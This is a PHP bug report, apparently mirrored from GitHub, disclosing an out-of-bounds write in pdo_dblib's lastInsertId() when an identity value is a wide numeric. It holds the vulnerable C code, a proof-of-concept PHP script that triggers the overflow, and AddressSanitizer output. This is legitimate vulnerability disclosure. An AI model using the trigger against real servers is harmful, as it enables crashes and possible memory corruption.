[php-src] Issue #22664: Buffer overflow (out-of-bounds write) in `ext/pdo_dblib` `PDO::lastInsertId()` when `@@IDENTITY` is a wide numeric value (e.g. `numeric(38,0)`) longer than the fixed 32-byte conversion buffer
[email protected] (cxxz16) Fri, 10 Jul 2026 07:47:05 +0000
| Newsgroups | php.bugs |
|---|---|
| Message-ID | <[email protected]> |
Issue: https://github.com/php/php-src/issues/22664
Author: cxxz16
### Description
### Summary
`PDO::lastInsertId()` on the dblib driver queries `SELECT @@IDENTITY`, allocates a fixed 32-byte buffer, and converts the server-returned identity value into it with `dbconvert(..., (DBINT)-1)`. The `(DBINT)-1` destination-length argument tells FreeTDS/DB-Lib to write the full converted string with no destination bound. When the identity column is a wide numeric type — e.g. `numeric(38,0) IDENTITY`, which can return 38 decimal digits — the converted string is longer than 32 bytes and the conversion writes past the end of the buffer.
This is an out-of-bounds write driven by a server-returned value, reached from a benign application that simply inserts a row and calls `lastInsertId()`. No object-lifecycle trick, FFI, or abnormal call sequence is required. On the bundled PHP 8.4.20 the buffer is heap-allocated (`emalloc(32)`), so this is a heap buffer overflow; on the current `master` branch the buffer is a 32-byte **stack** array, so the same overflow becomes a stack buffer overflow.
### Details
`dblib_handle_last_id()` issues `SELECT @@IDENTITY`, then converts the returned value into a fixed 32-byte buffer:
`ext/pdo_dblib/dblib_driver.c` (around lines 244, 270–271):
```c
if (FAIL == dbcmd(H->link, "SELECT @@IDENTITY")) {
return NULL;
}
...
id = emalloc(32);
len = dbconvert(NULL, (dbcoltype(H->link, 1)) , (dbdata(H->link, 1)) , (dbdatlen(H->link, 1)), SQLCHAR, (BYTE *)id, (DBINT)-1);
dbcancel(H->link);
ret_id = zend_string_init(id, len, 0);
efree(id);
return ret_id;
```
The destination buffer is exactly 32 bytes, but the final argument to `dbconvert()` is `(DBINT)-1`. In the DB-Lib API, a destination length of `-1` means "the destination is a null-terminated string with no fixed length" — DB-Lib writes the entire converted representation. For a `numeric(38,0)` identity value the decimal representation is up to 38 characters (plus a NUL), which overruns the 32-byte buffer.
The same defect is present on the current `master` branch, where a prior change ("Use stack local array instead of heap allocation", commit referenced in the dblib history) replaced the heap allocation with a stack array:
```c
BYTE id[32]; // master: ext/pdo_dblib/dblib_driver.c
...
len = dbconvert(NULL, (dbcoltype(H->link, 1)) , (dbdata(H->link, 1)) , (dbdatlen(H->link, 1)), SQLCHAR, (BYTE *)id, (DBINT)-1);
```
So on `master` the same oversized identity value causes a **stack** buffer overflow of the 32-byte `id` array; the unbounded `(DBINT)-1` conversion was never given a destination capacity.
### PoC
Environment:
- PHP 8.4.20 (CLI), built with `--enable-debug` and AddressSanitizer (`CFLAGS="-fsanitize=address -g -O0"`), `pdo_dblib` enabled.
- FreeTDS 1.3.6, TDS protocol 7.4.
- A normal Microsoft SQL Server 2019 instance (no malicious DB-Lib implementation is required).
PoC script (`pdodblib001.php`). The table uses a `numeric(38,0) IDENTITY` seeded so the next identity is 38 digits:
```php
<?php
$pdo = new PDO(
'dblib:host=SQLSERVER:1433;dbname=tempdb;version=7.4;charset=UTF-8',
'sa',
'<password>',
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION],
);
$pdo->exec('DROP TABLE IF EXISTS dbo.ident');
$pdo->exec('CREATE TABLE dbo.ident (
id numeric(38,0) IDENTITY(99999999999999999999999999999999999990,1) PRIMARY KEY,
v int
)');
$pdo->exec('INSERT INTO dbo.ident(v) VALUES (1)');
var_dump($pdo->lastInsertId());
```
Run:
```sh
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
php pdodblib001.php
```
Full AddressSanitizer output:
```text
=================================================================
==1464476==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000074ee0 at pc 0x7f02ebb0d2c3 bp 0x7ffedffc0000 sp 0x7ffedffbf7a8
WRITE of size 38 at 0x503000074ee0 thread T0
#0 0x7f02ebb0d2c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x7f02eb7670b1 in dbconvert_ps (/lib/x86_64-linux-gnu/libsybdb.so.5+0xf0b1)
#2 0x7f02eb76774d in dbconvert (/lib/x86_64-linux-gnu/libsybdb.so.5+0xf74d)
#3 0x560967b89c95 in dblib_handle_last_id /src/php/ext/pdo_dblib/dblib_driver.c:271
#4 0x560967c66253 in zim_PDO_lastInsertId /src/php/ext/pdo/pdo_dbh.c:1101
#5 0x560968f974f7 in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER /src/php/Zend/zend_vm_execute.h:2025
#6 0x56096929262e in execute_ex /src/php/Zend/zend_vm_execute.h:58946
#7 0x5609692b202d in zend_execute /src/php/Zend/zend_vm_execute.h:64328
#8 0x56096954e20d in zend_execute_script /src/php/Zend/zend.c:1934
#9 0x5609689e80ab in php_execute_script_ex /src/php/main/main.c:2577
#10 0x5609689e8641 in php_execute_script /src/php/main/main.c:2617
#11 0x5609695567f5 in do_cli /src/php/sapi/cli/php_cli.c:935
#12 0x560969559387 in main /src/php/sapi/cli/php_cli.c:1310
0x503000074ee0 is located 0 bytes to the right of 32-byte region [0x503000074ec0,0x503000074ee0)
allocated by thread T0 here:
#0 0x7f02ebb87887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x560968d5e7a1 in __zend_malloc /src/php/Zend/zend_alloc.c:3294
#2 0x560968d592bd in _emalloc /src/php/Zend/zend_alloc.c:2740
#3 0x560967b89ad4 in dblib_handle_last_id /src/php/ext/pdo_dblib/dblib_driver.c:270
#4 0x560967c66253 in zim_PDO_lastInsertId /src/php/ext/pdo/pdo_dbh.c:1101
SUMMARY: AddressSanitizer: heap-buffer-overflow in __interceptor_memcpy
```
`WRITE of size 38` lands `0 bytes to the right of` the 32-byte buffer allocated at `dblib_driver.c:270` and written at `:271`, matching the analysis. On `master` the corresponding allocation is the 32-byte stack array `id`, so the overflow is a stack overflow.
### Impact
This is an out-of-bounds write (CWE-787) caused by passing `(DBINT)-1` (no destination bound) to `dbconvert()` together with a fixed 32-byte buffer (CWE-131, incorrect buffer-size handling). The overflow content is the decimal digits of the server-returned identity value. On bundled 8.4.20 it is a heap buffer overflow; on `master` it is a stack buffer overflow (potentially clobbering adjacent stack state / triggering stack-protector aborts).
Who is impacted: applications using `ext/pdo_dblib` against SQL Server (or Sybase) where a table has a wide numeric `IDENTITY` column (e.g. `numeric(38,0)`/`decimal(38,0) IDENTITY`) and the application calls `PDO::lastInsertId()`. A wide numeric identity is a legitimate schema choice, and `lastInsertId()` is the normal API for retrieving it; once the identity value exceeds ~31 digits the conversion overflows the fixed buffer. The trigger is the server-returned identity value rather than direct request input, so the "attacker-controlled" framing is weaker than a pure request-value bug; however it is a clear fixed-buffer overflow reachable by a benign application through ordinary API usage, and PHP — not the application — chooses both the 32-byte buffer and the unbounded conversion length.
### PHP Version
```plain
php<=8.5.6
ext/pdo_dblib
```
### Operating System
ubuntu 22.04